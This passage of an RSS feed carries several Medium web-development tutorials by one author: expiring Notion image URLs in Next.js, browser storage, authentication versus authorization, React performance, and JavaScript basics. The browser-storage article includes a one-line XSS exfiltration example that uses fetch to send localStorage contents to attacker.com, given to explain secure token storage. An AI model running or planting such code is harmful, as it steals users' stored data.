page.</p><p>For example, the following setting can be used in a Next.js App Router page:</p><pre>export const dynamic = &quot;force-dynamic&quot;;</pre><p>This tells Next.js to render that route dynamically rather than serving a statically generated page.</p><p>However, this setting alone is not a complete solution. Dynamic rendering does not automatically disable every form of caching inside the data-fetching layer. If the application explicitly caches Notion responses, it may still reuse stale data.</p><p>Therefore, both page rendering and data-fetching behavior need to be considered.</p><h3>5. Solutions for Expiring Image URLs</h3><p>There are several ways to address this issue. The right choice depends on how frequently the content changes and how much infrastructure the application requires.</p><h3>Solution 1: Fetch fresh image URLs</h3><p>The first approach is to ensure that the application retrieves fresh Notion data when needed.</p><p>When the application fetches the latest page or block data from Notion, it can receive updated file URLs.</p><p>The implementation should review:</p><ul><li>Whether Next.js statically generates the affected pages.</li><li>Whether the Notion API responses are cached.</li><li>Whether any custom caching layer stores temporary image URLs.</li><li>Whether the page refresh actually retrieves new image URLs.</li></ul><p>For pages that need request-time rendering, force-dynamic may be appropriate. Explicit caching must still be configured correctly.</p><p><strong>Advantages</strong></p><ul><li>No need to download and maintain duplicate image files.</li><li>Content remains managed centrally in Notion.</li><li>Relatively small architectural changes.</li></ul><p><strong>Disadvantages</strong></p><ul><li>Additional API requests can increase response times.</li><li>Frequent requests may encounter Notion API rate limits.</li><li>Every relevant caching layer must be configured carefully.</li></ul><p>For my portfolio, this was the first approach worth investigating because it preserved the existing architecture.</p><h3>Solution 2: Download and host images separately</h3><p>Another approach is to store images in a location that provides stable URLs.</p><p>For a small portfolio, images can be placed in the application’s public/images/ directory. For a larger application, object storage or a dedicated image hosting service may be more appropriate.</p><p>The process would be:</p><ol><li>Retrieve the image from Notion while its signed URL is valid.</li><li>Download the image to the chosen storage location.</li><li>Store the stable image path or URL in the portfolio’s content data.</li><li>Render the image using that path instead of the temporary Notion URL.</li></ol><p>For example:</p><pre>Notion temporary URL<br>        |<br>        v<br>Download image<br>        |<br>        v<br>public/images/project-cover.png<br>        |<br>        v<br>Render using /images/project-cover.png</pre><p><strong>Advantages</strong></p><ul><li>Avoids depending on expiring Notion file URLs at runtime.</li><li>Can reduce the number of image-related requests to Notion.</li><li>Provides predictable image paths for the frontend.</li></ul><p><strong>Disadvantages</strong></p><ul><li>Images must be synchronized when they change.</li><li>Adding many images can increase the repository size.</li><li>Files stored in a deployment’s public directory are part of the deployed application and are not a persistent upload destination.</li></ul><p>For a portfolio with a relatively small number of mostly static images, this may be a practical solution. For a content-heavy site, external object storage is usually more scalable.</p><h3>Solution 3: Use a controlled revalidation strategy</h3><p>If the application uses static rendering or cached data, another option is to revalidate the data at suitable intervals.</p><p>For example, Next.js supports time-based revalidation for supported data-fetching and caching configurations.</p><p>The important requirement is that revalidation must retrieve fresh image URLs before the old URLs expire.</p><p>Simply setting a long revalidation interval while retaining signed URLs can recreate the same problem.</p><p>The interval should be chosen according to the URL lifetime, caching behavior, and expected traffic. Even then, revalidation should not be treated as a guarantee that every cached image URL will always remain valid.</p><h3>Solution 4: Store stable image references</h3><p>A more robust architecture separates content metadata from image storage.</p><p>Instead of relying on a temporary URL as the permanent identity of an image, the application can store a stable image identifier or permanent storage path.</p><p>For example:</p><pre>Notion<br>  |<br>  | Project title, description, image identifier<br>  v<br>Next.js application<br>  |<br>  | Stable image path<br>  v<br>Image storage</pre><p>This makes it easier to replace the underlying image, optimize image delivery, and control caching independently of the CMS.</p><p>Notion’s standard API does not provide a general setting that turns all hosted file URLs into permanent public URLs. If permanent image addresses are required, a separate storage solution may be necessary.</p><h3>6. Comparing the Solutions</h3><p>ApproachMain benefitMain limitationFetch fresh URLsMinimal architectural changesMore API requests and caching complexityHost images locallySimple and predictable for small sitesRequires image synchronizationRevalidate cached dataPreserves caching benefitsMust refresh before URLs expireUse external image storageStable references and better scalabilityRequires additional setup</p><p>There is no universal solution for every application.</p><p>For a personal portfolio with a limited number of images, local hosting can be perfectly reasonable. For a blog that receives frequent content updates, a carefully designed fetching strategy or dedicated image storage may be a better long-term choice.</p><h3>7. Lessons Learned</h3><p>This integration taught me several useful lessons about working with external APIs and deploying Next.js applications.</p><p><strong>1. Understand the lifetime of external resources.</strong> An API response can contain temporary resources, even when the surrounding content is permanent.</p><p><strong>2. Development and production are not always equivalent.</strong> Differences in rendering, caching, deployment, and traffic can expose problems that are difficult to reproduce locally.</p><p><strong>3. Rendering and caching are separate concerns.</strong> Making a page dynamic does not automatically guarantee that every underlying data request returns fresh content.</p><p><strong>4. Separate content management from file storage when necessary.</strong> A CMS can manage descriptions and metadata without being the ideal place to host every production image.</p><p><strong>5. Test beyond the initial deployment.</strong> A successful deployment confirms that the application works at that moment, not that temporary resources will remain valid indefinitely.</p><h3>Conclusion</h3><p>Using Notion as a CMS for my Next.js portfolio made content management simpler and reduced the need to maintain hardcoded content. However, integrating an external API also introduced challenges involving temporary image URLs, server-side rendering, caching, and production deployment.</p><p>The main issue was not necessarily that Notion had lost the images. Instead, the application could continue using temporary signed URLs after they had expired.</p><p>The most appropriate fix depends on the actual caching behavior. Fetching fresh URLs is a sensible first step, while local hosting or dedicated image storage can provide a more durable solution when image availability is critical.</p><p>Ultimately, this project reinforced an important software engineering principle: <strong>when integrating external services, it is essential to understand not only the data they return, but also how long that data remains valid and how the application manages it.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b0e2ce116dd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Web Developer’s Guide to Browser Storage: LocalStorage, SessionStorage, and Cookies]]></title>
            <link>https://medium.com/@mwandanam/the-web-developers-guide-to-browser-storage-localstorage-sessionstorage-and-cookies-c3a3618b8f83?source=rss-738f8c2c9b73------2</link>
            <guid isPermaLink="false">https://medium.com/p/c3a3618b8f83</guid>
            <dc:creator><![CDATA[Wandana Maddumage]]></dc:creator>
            <pubDate>Tue, 02 Jun 2026 02:55:51 GMT</pubDate>
            <atom:updated>2026-06-02T02:56:02.068Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*crzs9w0eLLTirSzk4SYn6A.png" /></figure><p>We’ve all been there: you’re building a web app, and you need to store a piece of data. Maybe it’s a user’s preferred theme, a half-filled form, or an authentication token. You know it belongs in the browser, but then the inevitable choice hits you:</p><p><em>Do I drop this in LocalStorage, stash it in SessionStorage, or bake a Cookie?</em></p><p>It’s easy to treat these three as interchangeable buckets of data, but picking the wrong one can lead to broken user experiences, sluggish performance, or worse—gaping security holes.</p><p>Let’s break down how these browser storage mechanisms actually work under the hood, when to use them, and the architectural trade-offs you need to consider.</p><h3>1. LocalStorage: The Long-Term Vault</h3><p>Think of <strong>LocalStorage</strong> as a digital storage unit. Once you put something in there, it stays there until you explicitly go back and delete it.</p><p>// Quick Example: Storing and retrieving a theme preference<br>localStorage.setItem(‘theme’, ‘dark’);<br>const userTheme = localStorage.getItem(‘theme’);</p><h4>The Architecture</h4><ul><li><strong>Persistence:</strong> Practically infinite. Data survives page refreshes, closing tabs, and even completely restarting the browser or the device.</li><li><strong>Capacity:</strong> Generous by web standards — usually around <strong>5MB to 10MB,</strong> depending on the browser.</li><li><strong>Scope:</strong> It is strictly bound by the <strong>Same-Origin Policy</strong> (same protocol, domain, and port). Data stored by [https://mysite.com](https://mysite.com) cannot be read by [https://othersite.com](https://othersite.com).</li></ul><h4>Best Used For</h4><ul><li><strong>User Interface State:</strong> Saving non-sensitive preferences like Dark Mode vs. Light Mode, or a collapsed/expanded sidebar state.</li><li><strong>Performance Optimization:</strong> Caching static, non-sensitive data (like a list of country codes) to reduce API calls on page load.</li><li><strong>Draft Saving:</strong> Storing an unsubmitted blog post or comment so the user doesn’t lose their progress if their browser crashes.</li></ul><h3>2. SessionStorage: The Temporary Workbench</h3><p>If LocalStorage is a storage unit, <strong>SessionStorage</strong> is a temporary workbench. It’s incredibly useful while you’re actively working on a specific task, but the moment you walk out of the room, everything is cleared away.</p><p>// Quick Example: Tracking a multi-step checkout progress<br>sessionStorage.setItem(‘currentStep’, ‘step-3’);</p><h4>The Architecture</h4><ul><li><strong>Persistence:</strong> Data lasts <strong>only for the duration of the page session</strong>.</li><li><strong>The “Tab” Rule:</strong> SessionStorage is unique to the specific browser tab. If you open [https://mysite.com](https://mysite.com) in Tab A, and then open the same URL in Tab B, they will have completely isolated SessionStorage buckets. Closing the tab wipes that data forever.</li><li><strong>Capacity:</strong> Matches LocalStorage, topping out at around <strong>5MB</strong>.</li></ul><h4>Best Used For</h4><ul><li><strong>Multi-Page Wizards:</strong> Carrying data across a multi-step checkout or registration form as the user clicks “Next” and “Back.”</li><li><strong>Tab-Specific States:</strong> Keeping track of temporary filters or search parameters on a dashboard that shouldn’t bleed over if the user opens a second tab to look at something else.</li></ul><h3>3. Cookies: The Messenger</h3><p><strong>Cookies</strong> are the veterans of client-side storage. Unlike LocalStorage and SessionStorage — which exist purely for the client’s use — Cookies were explicitly designed to <strong>travel back and forth between the browser and the server</strong> with every single network request.</p><p>// Quick Example: Setting a cookie (though typically done via Server headers)<br>document.cookie = “user_session=abc123xyz; expires=Fri, 31 Dec 2027 23:59:59 GMT; Secure; HttpOnly”;</p><h4>The Architecture</h4><ul><li><strong>Persistence:</strong> Highly customizable. You can set a specific expiration date, or omit it entirely to create a “Session Cookie” that expires when the browser closes.</li><li><strong>Capacity:</strong> Tiny. They max out at about <strong>4KB</strong> total per domain.</li><li><strong>The Network Cost:</strong> Because cookies automatically hitch a ride on every HTTP request (images, stylesheets, API calls), large or bloated cookies will actively degrade your application’s network performance.</li></ul><h4>Best Used For</h4><ul><li><strong>Authentication and Session Management:</strong> Telling the server “Hey, I’m logged in as User 123,” securely.</li><li><strong>Server-Side Rendering (SSR):</strong> Because cookies are sent with the initial document request, frameworks like Next.js or Remix can read them instantly to render personalized pages on the server before sending them to the browser.</li></ul><h3>Summary at a Glance</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V1ciIVbVpIGr3WVF-9jp4g.jpeg" /></figure><h3>⚠️ The Architectural Trap: The Security Trade-off</h3><p>There is a golden rule that every front-end and full-stack engineer must memorize: <strong>Never store sensitive data (like JWTs, passwords, or PII) in LocalStorage or SessionStorage.</strong></p><p>Both of these mechanisms are completely accessible via synchronous JavaScript. If your website falls victim to a <strong>Cross-Site Scripting (XSS)</strong> attack — where a rogue third-party script or a compromised npm package runs malicious code on your site — an attacker can steal your user’s entire data payload with a single line of code:</p><p>// The line an XSS attacker loves to execute:<br>fetch(‘<a href="https://attacker.com/steal?data=&#39;">https://attacker.com/steal?data=&#39;</a> + JSON.stringify(localStorage));</p><h3>The Fix: Secure Cookies</h3><p>For highly sensitive data like authorization tokens, the industry standard is to use <strong>cookies</strong> configured with specific security flags:</p><ul><li>HttpOnlyThis flag completely blocks client-side JavaScript from reading or modifying the cookie, neutralizing XSS thefts.</li><li>Secure: Ensures the cookie is only sent over encrypted HTTPS connections.</li><li>SameSite=Strict or SameSite=Lax: Protects your users against Cross-Site Request Forgery (CSRF) attacks.</li></ul><h3>Final Thoughts</h3><p>Choosing the right storage mechanism is all about understanding your data&#39;s lifecycle and who needs access to it.</p><p>If your data is heavy, safe, and needs to stick around, <strong>LocalStorage</strong> is your friend. If it’s temporary and tied to a single task, lean on <strong>SessionStorage</strong>. If the server needs to know about it securely, use <strong>Cookies</strong>.</p><p><em>What browser storage challenges have you run into lately? Let’s discuss in the comments below!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c3a3618b8f83" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Authorization and Authentication: The Gatekeepers of Digital Security]]></title>
            <link>https://medium.com/@mwandanam/understanding-authorization-and-authentication-the-gatekeepers-of-digital-security-1860270ae220?source=rss-738f8c2c9b73------2</link>
            <guid isPermaLink="false">https://medium.com/p/1860270ae220</guid>
            <dc:creator><![CDATA[Wandana Maddumage]]></dc:creator>
            <pubDate>Mon, 27 Oct 2025 07:50:41 GMT</pubDate>
            <atom:updated>2025-10-27T07:50:41.933Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jAZ_CzWt31hAuyyvDPFMaw.png" /></figure><p>In today’s digital world, security is paramount. Whether it’s logging into your email, accessing a banking app, or entering a corporate network, two fundamental concepts determine who can access what: <strong>authentication</strong> and <strong>authorization</strong>. While these terms are often used interchangeably, they serve very distinct purposes in the realm of cybersecurity. Understanding the difference is crucial for developers, IT professionals, and everyday users alike.</p><h3>What is Authentication?</h3><p>Authentication is the <strong>process of verifying identity</strong>. Think of it as proving who you are. When you log in to a website or app, authentication ensures that you are indeed the person you claim to be.</p><h3>Common Authentication Methods:</h3><ol><li><strong>Passwords</strong>: The most common method. Users enter a username and password to prove their identity.</li><li><strong>Biometric Data</strong>: Fingerprints, facial recognition, or retina scans provide unique verification.</li><li><strong>Two-Factor Authentication (2FA)</strong>: Combines something you know (a password) with something you have (an OTP sent via SMS or authenticator app).</li><li><strong>Security Tokens</strong>: Physical or software-based tokens that generate one-time passwords.</li></ol><h3>Example:</h3><p>When you enter your Gmail account credentials, Google checks if the email and password match its records. If they do, you’re authenticated and granted access to your account.</p><h3>What is Authorization?</h3><p>Authorization, on the other hand, is the <strong>process of determining what an authenticated user is allowed to do</strong>. It comes <strong>after authentication</strong> and controls access to resources based on permissions or roles.</p><h3>Common Authorization Models:</h3><ol><li><strong>Role-Based Access Control (RBAC)</strong>: Users are assigned roles (admin, editor, viewer), and each role has specific permissions.</li><li><strong>Attribute-Based Access Control (ABAC)</strong>: Access depends on user attributes, resource attributes, and environmental conditions.</li><li><strong>Access Control Lists (ACLs)</strong>: A list defining which users or system processes can access certain resources.</li></ol><h3>Example:</h3><p>After logging into Gmail (authentication), a user with a standard account cannot access Google Workspace admin settings. This restriction is authorization in action.</p><h3>Key Differences Between Authentication and Authorization</h3><p>Feature Authentication Authorization PurposeVerifies identity. Grants access. Question Answered: “Who are you? “What are you allowed to do?”Timing: Happens first. Happens after authenticationMethodsPasswords, biometrics, tokensPermissions, roles, access control listsExampleLogging into a websiteAccessing the admin dashboard</p><h3>Why Both Are Essential</h3><p>Without authentication, systems cannot verify users, leaving them vulnerable to identity theft. Without authorization, users might gain access to sensitive data or critical system functions they shouldn’t touch, leading to potential data breaches or operational damage. Together, these mechanisms form the backbone of secure systems.</p><h3>Best Practices</h3><ol><li><strong>Use Strong Authentication</strong>: Encourage strong passwords and multi-factor authentication.</li><li><strong>Implement Principle of Least Privilege (PoLP)</strong>: Give users only the access they need to perform their tasks.</li><li><strong>Regularly Review Access Rights</strong>: Periodically audit user permissions to prevent unauthorized access.</li><li><strong>Encrypt Sensitive Data</strong>: Protect authentication data such as passwords using strong encryption methods.</li></ol><h3>Conclusion</h3><p>While often confused, <strong>authentication</strong> and <strong>authorization</strong> serve distinct but complementary roles in digital security. Authentication ensures you are who you claim to be, while authorization defines what you can do. Mastering both is essential for protecting sensitive information, securing applications, and maintaining trust in digital systems.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1860270ae220" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Increase and Optimize Performance in a React Application]]></title>
            <link>https://medium.com/@mwandanam/how-to-increase-and-optimize-performance-in-a-react-application-c6e54ed75ed6?source=rss-738f8c2c9b73------2</link>
            <guid isPermaLink="false">https://medium.com/p/c6e54ed75ed6</guid>
            <dc:creator><![CDATA[Wandana Maddumage]]></dc:creator>
            <pubDate>Wed, 02 Jul 2025 13:28:51 GMT</pubDate>
            <atom:updated>2025-07-02T13:28:51.765Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*azhDd5d0cGUj2Jd5.png" /></figure><p>Performance optimization is a crucial part of building modern, scalable React applications. A fast, smooth UI boosts user experience and retention, especially as your app grows in size and complexity. This article dives into best practices and strategies to improve the performance of your React applications.</p><h3><strong>1. Use React’s Built-in Memoization</strong></h3><p>React provides several built-in tools to prevent unnecessary re-renders:</p><h4>🔹 React.memo()</h4><p>Use this to wrap functional components so that they only re-render when props change.jsx</p><pre>const MyComponent = React.memo(({ value }) =&gt; {<br>  return &lt;div&gt;{value}&lt;/div&gt;;<br>});</pre><h4>🔹 useMemo() and useCallback()</h4><p>Use these to memoize functions and computed values inside your components.</p><pre>const expensiveValue = useMemo(() =&gt; computeExpensiveValue(data), [data]);<br>const handleClick = useCallback(() =&gt; doSomething(), []);</pre><h3>2. Code Splitting with React.lazy and Suspense</h3><p>Code splitting helps load parts of your app only when needed, reducing initial load time.</p><pre>const LazyComponent = React.lazy(() =&gt; import(&#39;./LazyComponent&#39;));<br><br>function App() {<br>  return (<br>    &lt;Suspense fallback={&lt;div&gt;Loading...&lt;/div&gt;}&gt;<br>      &lt;LazyComponent /&gt;<br>    &lt;/Suspense&gt;<br>  );<br>}</pre><h3>3. Bundle Optimization</h3><p>Reduce the final bundle size by:</p><ul><li>Removing unused dependencies</li><li>Using tree-shaking</li><li>Importing only what you use from libraries like Lodash or Material-UI</li></ul><pre>// Bad<br>import _ from &#39;lodash&#39;;<br><br>// Good<br>import debounce from &#39;lodash/debounce&#39;;</pre><p>Use tools like:</p><ul><li><a href="https://www.npmjs.com/package/webpack-bundle-analyzer">Webpack Bundle Analyzer</a></li><li><a href="https://www.npmjs.com/package/source-map-explorer">Source Map Explorer</a></li></ul><h3>4. Virtualise Long Lists</h3><p>Rendering long lists can be expensive. Libraries like <strong>react-window</strong> or <strong>react-virtualized</strong> render only the visible items.</p><pre>import { FixedSizeList as List } from &#39;react-window&#39;;<br><br>&lt;List<br>  height={300}<br>  itemCount={1000}<br>  itemSize={35}<br>  width={300}<br>&gt;<br>  {({ index, style }) =&gt; &lt;div style={style}&gt;Item {index}&lt;/div&gt;}<br>&lt;/List&gt;</pre><h3>5. Avoid Anonymous Functions in JSX</h3><p>Defining functions inline in JSX can cause unnecessary re-renders.</p><pre>// ❌ Not optimal<br>&lt;button onClick={() =&gt; doSomething()}&gt;Click me&lt;/button&gt;<br><br>// ✅ Better<br>const handleClick = () =&gt; doSomething();<br>&lt;button onClick={handleClick}&gt;Click me&lt;/button&gt;</pre><h3>6. Minimize Re-renders</h3><p>Use tools like:</p><ul><li>React.memo()</li><li>shouldComponentUpdate (class components)</li><li>Profiling with React DevTools to identify unnecessary renders</li></ul><h3>7. Use the Profiler API</h3><p>React DevTools has a Profiler tab to visualize rendering performance.</p><ul><li>Find which components render frequently</li><li>Optimize or memoize them</li><li>Remove redundant state or context updates</li></ul><h3>8. Use Server-side Rendering (SSR) or Static Site Generation (SSG)</h3><p>Frameworks like <strong>Next.js</strong> provide SSR and SSG capabilities to improve time-to-first-byte and SEO.</p><pre>// pages/index.tsx in Next.js<br>export async function getStaticProps() {<br>  const data = await fetchData();<br>  return { props: { data } };<br>}</pre><h3>9. Use Efficient State Management</h3><p>Large global state trees can cause performance issues.</p><ul><li>Use <strong>React Context</strong> wisely (avoid passing large data)</li><li>Use lightweight state libraries like <strong>Zustand</strong>, <strong>Jotai</strong>, or <strong>Recoil</strong></li><li>For large apps, consider <strong>Redux Toolkit</strong> with createSlice for optimized patterns</li></ul><h3>10. Lazy Load Images and Components</h3><p>Use libraries like:</p><ul><li><a href="https://github.com/jasonslyvia/react-lazyload">react-lazyload</a></li><li>Native loading=&quot;lazy&quot; for images</li></ul><pre>&lt;img src=&quot;/image.jpg&quot; loading=&quot;lazy&quot; alt=&quot;example&quot; /&gt;</pre><h3>Conclusion</h3><p>Optimizing a React application is about balancing performance, maintainability, and scalability. Start by profiling your app, identifying bottlenecks, and applying these techniques selectively. With thoughtful optimization, your React app can remain snappy and delightful even as it grows.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c6e54ed75ed6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding the Difference Between undefined and not defined in JavaScript]]></title>
            <link>https://medium.com/@mwandanam/understanding-the-difference-between-undefined-and-not-defined-in-javascript-7a6d0c3f2fcf?source=rss-738f8c2c9b73------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a6d0c3f2fcf</guid>
            <dc:creator><![CDATA[Wandana Maddumage]]></dc:creator>
            <pubDate>Thu, 08 May 2025 05:43:53 GMT</pubDate>
            <atom:updated>2025-05-08T05:45:42.347Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9e6aQmWpxQRmwttC.jpeg" /></figure><p>When working with JavaScript, especially as a beginner, you might have come across errors or values that say something is <strong>undefined</strong> or <strong>not defined</strong>. While they might sound similar, they have very different meanings and implications in JavaScript. Let&#39;s explore these two concepts in detail.</p><h3>What is undefined?</h3><p>In JavaScript, a variable is said to be <strong>undefined</strong> when:</p><ul><li>It has been declared, but no value has been assigned to it yet.</li></ul><h3>Example:</h3><pre>let name;<br>console.log(name); // Output: undefined</pre><p>In the above code, the variable name is declared but not assigned any value, so JavaScript automatically initializes it with the value undefined.</p><h3>Another common scenario:</h3><pre>function greet() {<br>  return;<br>}<br>console.log(greet()); // Output: undefined</pre><p>Here, the greet function doesn’t explicitly return anything, so JavaScript implicitly returns undefined.</p><h3>What is not defined?</h3><p>A variable is <strong>not defined</strong> when you try to access it, but it was never declared in the current scope.</p><h3>Example:</h3><pre>console.log(age); // ReferenceError: age is not defined</pre><p>In this case, age was never declared with let, const, or var. Trying to use a completely undeclared variable results in a <strong>ReferenceError</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*DZtO0IPqyTOiS4p_Ar-uPg.png" /></figure><h3>Common Pitfalls</h3><h3>1. Checking for existence:</h3><p>When checking if a variable exists, always be careful to avoid ReferenceError:</p><p><strong>Wrong:</strong></p><pre>if (someVar !== undefined) { ... } // May throw ReferenceError</pre><p><strong>Right:</strong></p><pre>if (typeof someVar !== &quot;undefined&quot;) { ... } // Safe check</pre><p>The typeof operator safely returns a string even for undeclared variables.</p><h3>Conclusion</h3><p>Understanding the difference between undefined and not defined is crucial for debugging and writing error-free JavaScript code. In short:</p><ul><li>undefined means the variable exists but hasn&#39;t been given a value yet.</li><li>not defined means the variable hasn’t been declared anywhere in the current scope.</li></ul><p>Always declare your variables before using them, and use typeof When you&#39;re not sure if a variable exists, to avoid ReferenceErrors.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a6d0c3f2fcf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding window and this in JavaScript]]></title>
            <link>https://medium.com/@mwandanam/understanding-window-and-this-in-javascript-76e56bd09a17?source=rss-738f8c2c9b73------2</link>
            <guid isPermaLink="false">https://medium.com/p/76e56bd09a17</guid>
            <dc:creator><![CDATA[Wandana Maddumage]]></dc:creator>
            <pubDate>Thu, 01 May 2025 16:58:49 GMT</pubDate>
            <atom:updated>2025-05-01T16:59:22.188Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*f7IQFuOMdAtqWQeB.jpg" /></figure><p>JavaScript is a powerful language that runs in both the browser and server environments. Two commonly used keywords — window and this—often confuse developers, especially beginners. Let’s break down what they are, how they behave, and how they&#39;re related.</p><h3>🔍 What is window?</h3><p>In a browser environment, window is a <strong>global object</strong> that represents the browser&#39;s window/tab where the script is running.</p><p>You can think of it as the top-level object that holds everything related to the web page — like the DOM, history, location, and global functions.</p><h4>Examples:</h4><pre>console.log(window); // Logs the window object<br>console.log(window.innerWidth); // Gets the width of the browser window<br>window.alert(&quot;Hello!&quot;); // Shows an alert box</pre><p>All global variables and functions you define in JavaScript in the browser automatically become properties of the window object.</p><pre>var name = &quot;JavaScript&quot;;<br>console.log(window.name); // Outputs: JavaScript</pre><p>Note: This behavior applies only to var, not let <em>or </em><em>const.</em></p><h3>🔁What is this?</h3><p>this is a special keyword in JavaScript that refers to the <strong>context in which a function is executed</strong>. Its value changes depending on how a function is called.</p><h4>1. In the global context (this === window):</h4><pre>console.log(this); // In browsers: window</pre><h4><strong>2. Inside a regular function:</strong></h4><pre>function show() {<br>  console.log(this);<br>}<br>show(); // In non-strict mode: window</pre><h4><strong>3. Inside an object method:</strong></h4><pre>const obj = {<br>  name: &quot;JS&quot;,<br>  greet() {<br>    console.log(this.name);<br>  }<br>};<br>obj.greet(); // Output: JS</pre><p>Here, this refers to the object obj.</p><h4>4. Arrow functions:</h4><p>Arrow functions do <strong>not</strong> have their own this; they inherit it from the surrounding (lexical) scope.</p><pre>const obj = {<br>  name: &quot;Arrow&quot;,<br>  greet: () =&gt; {<br>    console.log(this.name);<br>  }<br>};<br>obj.greet(); // undefined (in browser: this refers to window, and window.name is undefined)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*QGEL4-wbi85r0bDK6m0Omw.png" /></figure><h3>Caveats and Best Practices</h3><ul><li>Use &quot;use strict&quot; to avoid unexpected this values pointing to window.</li><li>Avoid relying on this inside arrow functions for object methods.</li><li>Use tools like bind(), call(), or apply() to explicitly set this.</li></ul><h3>Conclusion</h3><p>Understanding how window and this work is essential to mastering JavaScript, especially in browser-based applications. While window always refers to the global browser object, this is dynamic and depends on how a function is called.</p><p>Once you grasp their behavior, you’ll be better equipped to write clean, bug-free JavaScript code.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=76e56bd09a17" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>